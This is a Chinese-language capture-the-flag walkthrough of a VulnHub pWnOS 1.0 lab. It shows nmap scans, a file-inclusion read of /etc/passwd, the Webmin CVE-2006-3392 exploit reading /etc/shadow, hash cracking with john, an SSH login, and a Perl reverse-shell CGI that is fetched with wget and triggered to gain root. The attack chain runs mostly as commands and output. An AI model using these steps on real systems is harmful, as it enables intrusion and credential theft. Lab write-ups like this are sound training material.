靶机介绍
来自 vulnhub
主机发现
┌──(kali㉿kali)-[~/testPwnos1.0] 20:33:00 [0/3]
└─$ sudo nmap -sn 10.10.10.0/24
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-05 20:32 CST
Nmap scan report for localhost (10.10.10.1)
Host is up (0.00056s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for bogon (10.10.10.2)
Host is up (0.00010s latency).
MAC Address: 00:50:56:F3:32:0E (VMware)
Nmap scan report for bogon (10.10.10.128)
Host is up (0.000096s latency).
MAC Address: 00:0C:29:83:4F:85 (VMware)
Nmap scan report for bogon (10.10.10.131)
Host is up (0.00011s latency).
MAC Address: 00:0C:29:5E:18:C9 (VMware)
Nmap scan report for bogon (10.10.10.254)
Host is up (0.00011s latency).
MAC Address: 00:50:56:EB:94:F3 (VMware)
Nmap scan report for bogon (10.10.10.129)
Host is up.
Nmap done: 256 IP addresses (6 hosts up) scanned in 1.93 seconds
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ sudo nmap --min-rate 1000 -p- 10.10.10.131
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-05 20:35 CST
Nmap scan report for localhost (10.10.10.131)
Host is up (0.0013s latency).
Not shown: 65530 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
10000/tcp open snet-sensor-mgmt
MAC Address: 00:0C:29:5E:18:C9 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 4.08 seconds
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ sudo nmap -sU --min-rate 10000 -p- 10.10.10.131
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-05 20:43 CST
Warning: 10.10.10.131 giving up on port because retransmission cap hit (10).
Nmap scan report for localhost (10.10.10.131)
Host is up (0.00050s latency).
Not shown: 65455 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
PORT STATE SERVICE
137/udp open netbios-ns
10000/udp open ndmp
MAC Address: 00:0C:29:5E:18:C9 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 72.84 seconds
tcp 扫描，扫描服务版本，扫描操作系统
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ sudo nmap -sT -sV -O -p22,80,139,445,10000 10.10.10.131
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-05 20:39 CST
Nmap scan report for localhost (10.10.10.131)
Host is up (0.00014s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.6p1 Debian 5build1 (protocol 2.0)
80/tcp open http Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME)
10000/tcp open http MiniServ 0.01 (Webmin httpd)
MAC Address: 00:0C:29:5E:18:C9 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|WAP|broadband router|remote management|media device|VoIP phone
Running (JUST GUESSING): Linux 2.6.X|2.4.X (98%), Linksys embedded (95%), Arris embedded (94%), Dell embedded (93%), LifeSize embedded (93%), ShoreTel embedded (93%), Netgear embedded (93%)
OS CPE: cpe:/o:linux:linux_kernel:2.6.22 cpe:/h:linksys:wrv54g cpe:/h:dell:remote_access_card:7 cpe:/o:linux:linux_kernel:2.4 cpe:/h:shoretel:8800 cpe:/h:netgear:neotv550
Aggressive OS guesses: Linux 2.6.22 (embedded, ARM) (98%), Linux 2.6.22 - 2.6.23 (98%), Linux 2.6.9 - 2.6.33 (97%), Linksys WRV54G WAP (95%), Linksys WRT610Nv3 WAP (95%), Linux 2.6.18 - 2.6.32 (94%), Arr
is TG862G/CT cable modem (94%), Linux 2.6.24 (94%), Linux 2.6.19 - 2.6.36 (93%), Linux 2.6.22 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.76 seconds
漏洞脚本扫描。80 端口的 /icons/，/index/，/php/ 是enum ，似乎有点价值
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ sudo nmap --script=vuln -p22,80,139,445,10000 10.10.10.131
[sudo] password for kali:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-05 20:40 CST
Nmap scan report for localhost (10.10.10.131)
Host is up (0.00027s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
|_http-trace: TRACE is enabled
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http://ha.ckers.org/slowloris/
| http-enum:
| /icons/: Potentially interesting directory w/ listing on 'apache/2.2.4 (ubuntu) php/5.2.3-1ubuntu6'
| /index/: Potentially interesting folder
|_ /php/: Potentially interesting directory w/ listing on 'apache/2.2.4 (ubuntu) php/5.2.3-1ubuntu6'
139/tcp open netbios-ssn
445/tcp open microsoft-ds
10000/tcp open snet-sensor-mgmt
| http-vuln-cve2006-3392:
| VULNERABLE:
| Webmin File Disclosure
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2006-3392
| Webmin before 1.290 and Usermin before 1.220 calls the simplify_path function before decoding HTML.
| This allows arbitrary files to be read, without requiring authentication, using "..%01" sequences
| to bypass the removal of "../" directory traversal sequences.
|
| Disclosure date: 2006-06-29
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3392
| http://www.rapid7.com/db/modules/auxiliary/admin/webmin/file_disclosure
|_ http://www.exploit-db.com/exploits/1997/
MAC Address: 00:0C:29:5E:18:C9 (VMware)
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)
|_smb-vuln-ms10-061: false
Nmap done: 1 IP address (1 host up) scanned in 320.83 seconds
web渗透
访问 80 端口
观察 10000 端口跑 http 服务，尝试访问
(你这网站不保熟啊)
加个单引号，有报错回显，当前页似乎在包含一个文件显示，尝试利用文件包含
(这个参数是否可以通过模糊测试 fuzz 来找到呢？)
果然存在文件包含
用curl 请求，看得清楚一些。curl 请求应当加引号，防止转义符转义
发现这几个用户有意思
vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash
obama:x:1001:1001::/home/obama:/bin/bash
osama:x:1002:1002::/home/osama:/bin/bash
yomama:x:1003:1003::/home/yomama:/bin/bash
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ curl 'http://10.10.10.131/index1.php?help=true&connect=/etc/passwd'
<HTML>
<body>
<center><h1>Welcome to the pWnOS homepage!
</h1></center>
<p>This is the official help page. If you're too big of a n00b to figure this out, enter your information below for a small hint. :)</p>
<form name="form" method="GET" action="index2.php">
<table border=1>
<tr><td width=175>
Name:
</td>
<td width=175>
<input type = "text" name="name" size=25>
</td>
<td> </td>
<td> </td>
</tr>
<tr>
<td>
Skillz:
</td>
<td width=175><input type = "radio" name = "level" value="n00b">n00b</td>
<td width=175><input type = "radio" name = "level" value="sk1ll3d n00b">sk1ll3d n00b</td>
<td width=175><input type = "radio" name = "level" value = "l33t hax0r">l33t hax0r</td>
</tr>
<tr><td width=175>
<input type = "submit" name = "submit" value = "Please Help!">
</td>
<td> </td>
<td> </td>
<td> </td>
</tr>
</table>
</form>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
dhcp:x:100:101::/nonexistent:/bin/false
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
mysql:x:103:107:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash
obama:x:1001:1001::/home/obama:/bin/bash
osama:x:1002:1002::/home/osama:/bin/bash
yomama:x:1003:1003::/home/yomama:/bin/bash
</body>
</HTML>
看一看 80 端口 /php/ 的内容
点击进入，不过没有密码。发现系统名称和版本暴露，下一步尝试 searchsploit
Welcome to phpMyAdmin 2.6.3-pl1
不过跨站脚本没啥用
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ searchsploit phpmyadmin 2.6.3
------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
phpMyAdmin 2.6.3-pl1 - Cross-Site Scripting / Full Path | php/webapps/12642.txt
------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
漏洞脚本利用
根据漏洞脚本扫描的结果，发现 10000 端口跑的是 webmin ，根据经验推测其可被利用
searchsploit 找一找
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ searchsploit webmin
------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
DansGuardian Webmin Module 0.x - 'edit.cgi' Directory Traversal | cgi/webapps/23535.txt
phpMyWebmin 1.0 - 'target' Remote File Inclusion | php/webapps/2462.txt
phpMyWebmin 1.0 - 'window.php' Remote File Inclusion | php/webapps/2451.txt
Webmin - Brute Force / Command Execution | multiple/remote/705.pl
webmin 0.91 - Directory Traversal | cgi/remote/21183.txt
Webmin 0.9x / Usermin 0.9x/1.0 - Access Session ID Spoofing | linux/remote/22275.pl
Webmin 0.x - 'RPC' Privilege Escalation | linux/remote/21765.pl
Webmin 0.x - Code Input Validation | linux/local/21348.txt
Webmin 1.5 - Brute Force / Command Execution | multiple/remote/746.pl
Webmin 1.5 - Web Brute Force (CGI) | multiple/remote/745.pl
Webmin 1.580 - '/file/show.cgi' Remote Command Execution (Metasploit) | unix/remote/21851.rb
Webmin 1.850 - Multiple Vulnerabilities | cgi/webapps/42989.txt
Webmin 1.900 - Remote Command Execution (Metasploit) | cgi/remote/46201.rb
Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit) | linux/remote/46984.rb
Webmin 1.920 - Remote Code Execution | linux/webapps/47293.sh
Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit) | linux/remote/47230.rb
Webmin 1.962 - 'Package Updates' Escape Bypass RCE (Metasploit) | linux/webapps/49318.rb
Webmin 1.973 - 'run.cgi' Cross-Site Request Forgery (CSRF) | linux/webapps/50144.py
Webmin 1.973 - 'save_user.cgi' Cross-Site Request Forgery (CSRF) | linux/webapps/50126.py
Webmin 1.984 - Remote Code Execution (Authenticated) | linux/webapps/50809.py
Webmin 1.996 - Remote Code Execution (RCE) (Authenticated) | linux/webapps/50998.py
Webmin 1.x - HTML Email Command Execution | cgi/webapps/24574.txt
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure | multiple/remote/1997.php
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure | multiple/remote/2017.pl
Webmin < 1.920 - 'rpc.cgi' Remote Code Execution (Metasploit) | linux/webapps/47330.rb
------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
排除 metasploit 和 csrf 和 内核提权，发现 2017.pl 似乎可以使用
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ searchsploit webmin -m 2017.pl
[!] Could not find EDB-ID #
Exploit: Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosure
URL: https://www.exploit-db.com/exploits/2017
Path: /usr/share/exploitdb/exploits/multiple/remote/2017.pl
Codes: CVE-2006-3392
Verified: True
File Type: Perl script text executable
Copied to: /home/kali/testPwnos1.0/2017.pl
摸索一下这个脚本怎么用，成功运行后拿到 passwd 的内容，不过和之前 80 端口文件包含拿到的内容相同。
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ ./2017.pl 10.10.10.131 10000 /etc/passwd
Usage: ./2017.pl <url> <port> <filename> <target>
TARGETS are
0 - > HTTP
1 - > HTTPS
Define full path with file name
Example: ./webmin.pl blah.com 10000 /etc/passwd
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ ./2017.pl 10.10.10.131 10000 /etc/passwd 0
WEBMIN EXPLOIT !!!!! coded by UmZ!
Comments and Suggestions are welcome at umz32.dll [at] gmail.com
Vulnerability disclose at securitydot.net
I am just coding it in perl 'cuz I hate PHP!
Attacking 10.10.10.131 on port 10000!
FILENAME: /etc/passwd
FILE CONTENT STARTED
-----------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
dhcp:x:100:101::/nonexistent:/bin/false
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
mysql:x:103:107:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
vmware:x:1000:1000:vmware,,,:/home/vmware:/bin/bash
obama:x:1001:1001::/home/obama:/bin/bash
osama:x:1002:1002::/home/osama:/bin/bash
yomama:x:1003:1003::/home/yomama:/bin/bash
-------------------------------------
之前 80 端口的网页文件包含没法读 shadow，于是尝试用利用脚本读 shadow。
居然可以读到 shadow
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ ./2017.pl 10.10.10.131 10000 /etc/shadow 0
WEBMIN EXPLOIT !!!!! coded by UmZ!
Comments and Suggestions are welcome at umz32.dll [at] gmail.com
Vulnerability disclose at securitydot.net
I am just coding it in perl 'cuz I hate PHP!
Attacking 10.10.10.131 on port 10000!
FILENAME: /etc/shadow
FILE CONTENT STARTED
-----------------------------------
root:$1$LKrO9Q3N$EBgJhPZFHiKXtK0QRqeSm/:14041:0:99999:7:::
daemon:*:14040:0:99999:7:::
bin:*:14040:0:99999:7:::
sys:*:14040:0:99999:7:::
sync:*:14040:0:99999:7:::
games:*:14040:0:99999:7:::
man:*:14040:0:99999:7:::
lp:*:14040:0:99999:7:::
mail:*:14040:0:99999:7:::
news:*:14040:0:99999:7:::
uucp:*:14040:0:99999:7:::
proxy:*:14040:0:99999:7:::
www-data:*:14040:0:99999:7:::
backup:*:14040:0:99999:7:::
list:*:14040:0:99999:7:::
irc:*:14040:0:99999:7:::
gnats:*:14040:0:99999:7:::
nobody:*:14040:0:99999:7:::
dhcp:!:14040:0:99999:7:::
syslog:!:14040:0:99999:7:::
klog:!:14040:0:99999:7:::
mysql:!:14040:0:99999:7:::
sshd:!:14040:0:99999:7:::
vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7:::
obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::
osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7:::
yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::
-------------------------------------
恰好拿到我们关心用户的密码的哈希 (居然也拿到了 root 的密码哈希)
root:$1$LKrO9Q3N$EBgJhPZFHiKXtK0QRqeSm/:14041:0:99999:7:::
vmware:$1$7nwi9F/D$AkdCcO2UfsCOM0IC8BYBb/:14042:0:99999:7:::
obama:$1$hvDHcCfx$pj78hUduionhij9q9JrtA0:14041:0:99999:7:::
osama:$1$Kqiv9qBp$eJg2uGCrOHoXGq0h5ehwe.:14041:0:99999:7:::
yomama:$1$tI4FJ.kP$wgDmweY9SAzJZYqW76oDA.:14041:0:99999:7:::
密码破解
尝试破解。 shadow 内容的 md5 可用 john 破解，其余 md5 或 sha-1 可用 hashcat 破解。
拿到一个密码，vmware 的 密码是 h4ckm3 （味道很冲的密码）
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ sudo john hash --wordlist=/usr/share/wordlists/rockyou.txt
[sudo] password for kali:
Created directory: /root/.john
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
h4ckm3 (vmware)
1g 0:00:03:18 DONE (2024-10-05 22:20) 0.005031g/s 70943p/s 322002c/s 322002C/s ejngyhga007..*7¡Vamos!
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
补充额外知识点:
如果拿到 passwd 和 shadow ，可以尝试使用 unshadow 把二者合起来，如下
unshadow passwd shadows > unshadow.txt
连 ssh ，这里涉及 ssh 参数调整 -oHostKeyAlgorithms= 指定加密算法
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ sudo ssh vmware@10.10.10.131
[sudo] password for kali:
Unable to negotiate with 10.10.10.131 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ sudo ssh -oHostKeyAlgorithms=ssh-rsa,ssh-dss vmware@10.10.10.131
The authenticity of host '10.10.10.131 (10.10.10.131)' can't be established.
RSA key fingerprint is SHA256:+C7UA7dQ1B/8zVWHRBD7KeNNfjuSBrtQBMZGd6qoR9w.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.131' (RSA) to the list of known hosts.
vmware@10.10.10.131's password:
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Fri Jun 20 14:35:37 2008
vmware@ubuntuvm:~$
拿到初级 shell 后
做一个基础的信息收集
当前账号没有 sudo 权限，考虑提权
vmware@ubuntuvm:~$ whoami
vmware
vmware@ubuntuvm:~$ ip a
1: lo: <LOOPBACK,UP,10000> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,10000> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:0c:29:5e:18:c9 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.131/24 brd 10.10.10.255 scope global eth0
inet6 fe80::20c:29ff:fe5e:18c9/64 scope link
valid_lft forever preferred_lft forever
vmware@ubuntuvm:~$ sudo -l
[sudo] password for vmware:
Sorry, user vmware may not run sudo on ubuntuvm.
vmware@ubuntuvm:~$ uname -a
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 GNU/Linux
vmware@ubuntuvm:~$ python --version
Python 2.5.1
vmware@ubuntuvm:~$ python -c "import pty;pty.spawn('/bin/bash')"
看一下计划任务，似乎没有
vmware@ubuntuvm:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
看一下网站目录。webmin 和 www 由 root 用户创建，权限比较高。结合 webmin 能读 shadow 文件，推测这两个目录权限较高，可作为突破口
vmware@ubuntuvm:~$ cd /var
vmware@ubuntuvm:/var$ ls -liah
total 52K
244801 drwxr-xr-x 15 root root 4.0K 2008-06-10 13:28 .
2 drwxr-xr-x 21 root root 4.0K 2008-06-10 06:37 ..
261122 drwxr-xr-x 2 root root 4.0K 2008-06-10 06:28 backups
244808 drwxr-xr-x 9 root root 4.0K 2008-06-10 07:07 cache
244804 drwxr-xr-x 23 root root 4.0K 2008-06-10 07:08 lib
261125 drwxrwsr-x 2 root staff 4.0K 2007-10-08 05:47 local
7612 drwxrwxrwt 3 root root 60 2024-10-05 07:27 lock
261126 drwxr-xr-x 11 root root 4.0K 2024-10-05 07:27 log
262195 drwxrwsr-x 2 root mail 4.0K 2008-06-10 06:24 mail
262194 drwxr-xr-x 2 root root 4.0K 2008-06-10 06:24 opt
7608 drwxr-xr-x 11 root root 400 2024-10-05 09:48 run
261127 drwxr-xr-x 5 root root 4.0K 2008-06-10 07:07 spool
261128 drwxrwxrwt 2 root root 4.0K 2007-10-08 05:47 tmp
344741 drwx------ 2 root bin 4.0K 2008-06-10 13:31 webmin
295040 drwxr-xr-x 3 root root 4.0K 2008-06-12 09:55 www
vmware@ubuntuvm:/var$
构造 perl 的 cgi 反弹 shell
vim 修改 反弹 ip 的地址为 kali
开 php 服务器，准备让靶机下载文件
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ cp /usr/share/webshells/perl/perl-reverse-shell.pl shell.cgi
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ ls
2017.pl hash passwd shadow shell.cgi unshadow.txt
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ vim shell.cgi
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ sudo php -S 0:80
[sudo] password for kali:
[Sat Oct 5 23:04:23 2024] PHP 8.2.21 Development Server (http://0:80) started
使用靶机下载 .cgi 并给执行权限
vmware@ubuntuvm:~$ pwd
/home/vmware
vmware@ubuntuvm:~$ wget http://10.10.10.129/shell.cgi
--10:06:15-- http://10.10.10.129/shell.cgi
=> `shell.cgi'
Connecting to 10.10.10.129:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3,715 (3.6K)
100%[====================================>] 3,715 --.--K/s
10:06:15 (505.77 MB/s) - `shell.cgi' saved [3715/3715]
vmware@ubuntuvm:~$ ls
shell.cgi
vmware@ubuntuvm:~$ chmod +x shell.cgi
监听，尝试收反弹 shell
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ sudo ncat -lvnp 1234
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
之前的 perl 脚本可以请求指定位置文件，结合 perl 的 CGI 脚本执行需要网络请求的特性，使用脚本请求在 kali 构造好的反弹 shell。
（似乎也可尝试 本地执行）
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ sudo ./2017.pl 10.10.10.131 10000 /home/vmware/shell.cgi 0
WEBMIN EXPLOIT !!!!! coded by UmZ!
Comments and Suggestions are welcome at umz32.dll [at] gmail.com
Vulnerability disclose at securitydot.net
I am just coding it in perl 'cuz I hate PHP!
Attacking 10.10.10.131 on port 10000!
FILENAME: /home/vmware/shell.cgi
FILE CONTENT STARTED
-----------------------------------
Browser IP address appears to be: 10.10.10.129<p>
-------------------------------------
从监听收到反弹 shell，拿下 root
┌──(kali㉿kali)-[~/testPwnos1.0]
└─$ sudo ncat -lvnp 1234
Ncat: Version 7.94SVN ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.10.10.131:44869.
10:13:26 up 2:45, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
vmware pts/0 10.10.10.129 09:25 6:41m 0.07s 0.01s python -c impor
Linux ubuntuvm 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 GNU/Linux
uid=0(root) gid=0(root)
/
/usr/sbin/apache: can't access tty; job control turned off
#
# whoami
root
# ip a
1: lo: <LOOPBACK,UP,10000> mtu 16436 qdisc noqueue
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,10000> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:0c:29:5e:18:c9 brd ff:ff:ff:ff:ff:ff
inet 10.10.10.131/24 brd 10.10.10.255 scope global eth0
inet6 fe80::20c:29ff:fe5e:18c9/64 scope link
valid_lft forever preferred_lft forever
# sudo -l
User root may run the following commands on this host:
(ALL) ALL
#
总结
主机发现，机器开放 22, 80, 10000 端口
80 端口发现 文件包含，可读到 /etc/passwd，但是没有读到 /etc/shadow
漏洞脚本扫描结合浏览器访问观察，发现 10000 端口运行 webmin，搜索漏洞脚本利用
使用 perl 脚本读取 /etc/passwd 和 /etc/shadow 内容，使用 john 破解 shadow，拿到 vmware 用户的明文密码
使用 ssh 登录，期间配置 ssh 参数。获得初级 shell，观察无 sudo 权限，尝试提权
信息收集发现系统的 /var/www 和 /var/webmin 由 root 用户创建，权限较高，考虑尝试反弹perl cgi 反弹 shell
kali 用 php 开一个临时服务器，放上构造好的 perl CGI shell，并监听端口
shell 使用 wget 下载 反弹 shell shell.cgi，使用之前的 webmin perl 利用脚本请求 shell.cgi 的地址，因为这个脚本可以指定服务器内路径访问文件
拿到 root shell，结束
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